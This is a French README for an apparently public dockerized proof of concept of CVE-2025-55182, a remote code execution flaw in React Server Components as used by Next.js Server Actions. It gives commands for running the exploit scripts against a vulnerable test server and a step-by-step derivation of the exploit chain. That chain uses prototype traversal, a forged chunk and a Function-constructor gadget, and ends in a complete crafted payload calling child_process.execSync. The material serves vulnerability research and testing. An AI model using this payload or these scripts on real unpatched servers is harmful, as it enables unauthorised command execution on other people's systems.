
Preuve de concept dockerisée pour CVE-2025-55182, une RCE critique dans les composants serveur React via la pollution de prototype, avec des scripts d'exploitation automatisés et un environnement de test Next.js vulnérable.
Ce dépôt contient une preuve de concept dockerisée pour CVE-2025-55182, une vulnérabilité critique d'exécution de code à distance dans les composants serveur React (RSC) qui affecte les applications Next.js utilisant des Server Actions.
La preuve de concept originale et l'analyse de la vulnérabilité ont été réalisées par msanft. Ce dépôt étend leur travail en fournissant un environnement de test dockerisé pour faciliter les tests et la démonstration.
requests (pip install requests)Démarrer le serveur Next.js vulnérable :
docker compose up --build -d
Attendre que le serveur démarre (vérifier les logs avec docker compose logs -f nextjs-server)
Exécuter l'exploit :
# Script automatisé (recommandé)
./exploit-docker.sh
# Ou manuellement
ACTION_ID=$(curl -s http://localhost:3000 | grep -o '[a-f0-9]\{40\}' | head -1)
python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
Vérifier que l'exploit a fonctionné :
docker compose exec nextjs-server ls -la /tmp/rce_test
# Créer un fichier
python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
# Écrire dans un fichier
python3 poc.py http://localhost:3000 "$ACTION_ID" "echo 'RCE_SUCCESS' > /tmp/rce_output"
# Vérifier l'utilisateur actuel
python3 poc.py http://localhost:3000 "$ACTION_ID" "whoami > /tmp/rce_user"
# Vérifier les résultats
docker compose exec nextjs-server cat /tmp/rce_output
docker compose exec nextjs-server cat /tmp/rce_user
nextjs (UID 1001) à l'intérieur du conteneurCe dépôt inclut une configuration Docker complète pour tester la vulnérabilité :
docker-compose.yml – Configuration Docker Composetest-server/ – Application Next.js vulnérabletest-server/Dockerfile – Dockerfile de productiontest-server/Dockerfile.dev – Dockerfile de développement (optionnel)Le serveur vulnérable exécute Next.js 16.0.6 avec une simple Server Action exploitable.
poc.py – Script Python de preuve de concept (original de msanft, avec corrections d'échappement des guillemets)exploit-docker.sh – Script d'exploitation automatisé pour l'environnement DockerDOCKER_SETUP.md – Documentation complète de configuration Docker# Arrêter le conteneur
docker compose down
# Tout supprimer (y compris les volumes)
docker compose down -v
L'analyse détaillée de la vulnérabilité, la chaîne d'exploitation et les informations sur le correctif de la recherche originale sont fournies ci-dessous.
Cette vulnérabilité permet une RCE dans les fonctions serveur React, par exemple telles qu'offertes par Next.js via des références de prototype non sécurisées.
Je ne suis pas un expert en React ou Next.js, donc prenez toutes les informations ici avec des pincettes. De plus, je suis encore en cours d'analyse, donc ce que je décris ci-dessous comme « la vulnérabilité » pourrait n'être qu'une petite partie de la chaîne complète.
React propose des Server Functions1, qui peuvent être considérées comme une sorte de RPC sur HTTP. Elles peuvent être utilisées pour récupérer des données de pairs adjacents afin d'assurer une faible latence, ou effectuer des requêtes authentifiées pour lesquelles le client ne possède pas les identifiants.
React utilise ce qu'on appelle le React Flight Protocol2 pour la sérialisation des valeurs passées aux Server Functions.
Le client transmet des « chunks » (morceaux) au serveur, par exemple via des données de formulaire :
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
Comme montré, ceux-ci peuvent avoir des références les uns envers les autres. La charge utile ci-dessus est désérialisée côté serveur en :
{ object: 'fruit', name: 'cherry' }
Le format lui-même est un peu plus complexe et permet une sérialisation et désérialisation plus élaborées, mais cela fournit une compréhension de base pour la vulnérabilité réelle.
Jusqu'à ce commit3, lors du parcours des chunks pour la résolution des références,
comme obtenir le fruitName du chunk 2 dans l'exemple ci-dessus, React
ne vérifiait pas si la clé demandée était effectivement définie sur l'objet.
Cela permettait d'obtenir le prototype de l'objet4.
Cela peut être démontré avec une charge utile comme celle-ci :
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
Qui se désérialise en le constructeur de fonction5 :
[Function: Function]
Lorsque le chunk avec l'ID 0 n'est pas un tableau mais un objet, nous pouvons
définir la clé then sur le constructeur de fonction. L'objet est alors
retourné par la fonction decodeReplyFromBusboy et attendu (await) par Next.js :
// action-handler.ts:888 (avant le correctif)
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
Lorsque cela retourne un thenable, le await dans l'appelant l'appelle.
C'est ce qui se produit avec cette charge utile :
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
Conduisant à cette erreur :
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
L'erreur ressemble à cela car V8 appelle une fonction awaitée
avec les fonctions internes resolve et reject, qui, lorsqu'elles sont
converties en chaîne (toString), se sérialisent en quelque chose comme :
function () { [native code] }
Puisque nous pouvons trivialement récupérer le constructeur Function, la
façon la plus directe est de trouver un gadget d'appel qui invoque le
constructeur avec une valeur contrôlée par l'utilisateur (c'est-à-dire le code de la
fonction sous forme de chaîne), puis appelle la fonction retournée.
Il existe plusieurs endroits qui peuvent appeler le constructeur de fonction,
par exemple resolveServerReference, où id est un objet contrôlé,
et lastIndexOf peut être écrasé pour retourner une chaîne contrôlée par l'utilisateur
(par exemple via Array.prototype.join) et slice peut être écrasé pour devenir le
constructeur de fonction. Cependant, cet endroit ne fonctionne pas car la deuxième
invocation de .slice() fournit un nombre comme premier argument,
qui - à ma connaissance - ne peut jamais être traité par le constructeur de fonction.
Ici, une idée brillante de maple31426 entre en jeu. Lorsque getChunk
récupère le chunk à l'ID 0 comme référence racine pour commencer à résoudre la
chaîne de référence, ce même chunk peut résoudre en un « faux chunk » fabriqué.
Nous pouvons référencer le chunk fabriqué 0 dans le chunk 1 en utilisant la
syntaxe $@, qui retourne le chunk « brut », pas sa valeur résolue :
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
En combinant cela avec notre remplacement de then ci-dessus, nous pouvons fabriquer
quelque chose comme ceci :
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}
Ici, le chunk 0 remplace son propre .then() par le .then() de
sa propre représentation de chunk brut. En d'autres termes, nous remplaçons
notre propre .then() par Chunk.prototype.then, qui existe, puisque
les Chunk sont des thenables :
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this);
}
// ...
Avec la charge utile ci-dessus, Chunk.prototype.then est finalement appelé
avec le chunk fabriqué d'ID 0.
Comme montré ci-dessus, lorsque .status sur notre faux chunk est resolved_model :
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
Nous entrons dans initializeModelChunk. Ici, .value est analysé comme JSON,
puis les références sont résolues sur l'objet retourné, en utilisant le contexte
« externe » de nos chunks avec les ID 0 et 1 :
function initializeModelChunk(chunk) {
// ...
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
À l'intérieur de cela, nous avons maintenant un second passage d'évaluation avec un peu plus de valeurs auxquelles nous avons accès en raison du contexte externe déjà résolu.
Il existe un gadget d'appel dans la gestion des données blob avec le préfixe $B
dans le protocole flight :
case "B":
return (
(obj = parseInt(value.slice(2), 16)),
response._formData.get(response._prefix + obj)
);
En utilisant le champ spécial _response, nous contrôlons la propriété response
du chunk fabriqué :
// dans initializeModelChunk
value = reviveModel(chunk._response, // ...
Avec cela, nous pouvons fabriquer un objet avec de fausses propriétés ._formData
et ._prefix :
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"return foo; // ",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
La propriété .reason doit être ajoutée pour contourner l'échec sur l'invocation
de toString dans initializeModelChunk :
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;
En pointant ._formData vers le constructeur de fonction, et ._prefix vers
notre code, nous obtenons un gadget d'invocation pour le constructeur de fonction dans
la désérialisation des blobs :
response._formData.get(response._prefix + "0")
// devient
Function("return foo; // 0")
Notre fonction fabriquée est alors retournée par parseModelString comme
méthode .then() du chunk fabriqué, qui est également awaitée, puisque
tout cela se produit dans une seule chaîne de résolution de promesse. Ainsi,
en retournant un thenable, notre fonction fabriquée est appelée. Cela constitue
le gadget d'appel requis mentionné ci-dessus.
En assemblant tout cela avec une charge utile RCE réelle, nous obtenons quelque chose comme ceci :
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
# "reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
L'utilisation des références de chunks pour récupérer les propriétés du prototype est corrigée avec cette vérification :
@@ -78,7 +80,10 @@ export function preloadModule<T>(
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = parcelRequire(metadata[ID]);
- return moduleExports[metadata[NAME]];
+ if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+ return moduleExports[metadata[NAME]];
+ }
+ return (undefined: any);
}
https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/HEAD/%3Chttps:/react.dev/reference/rsc/server-functions%3E ↩
https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/HEAD/%3Chttps:/tonyalicea.dev/blog/understanding-react-server-components/%3E ↩
https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/HEAD/%3Chttps:/github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d%3E ↩
https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Advanced_JavaScript_objects/Object_prototypes%3E ↩
https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function%3E ↩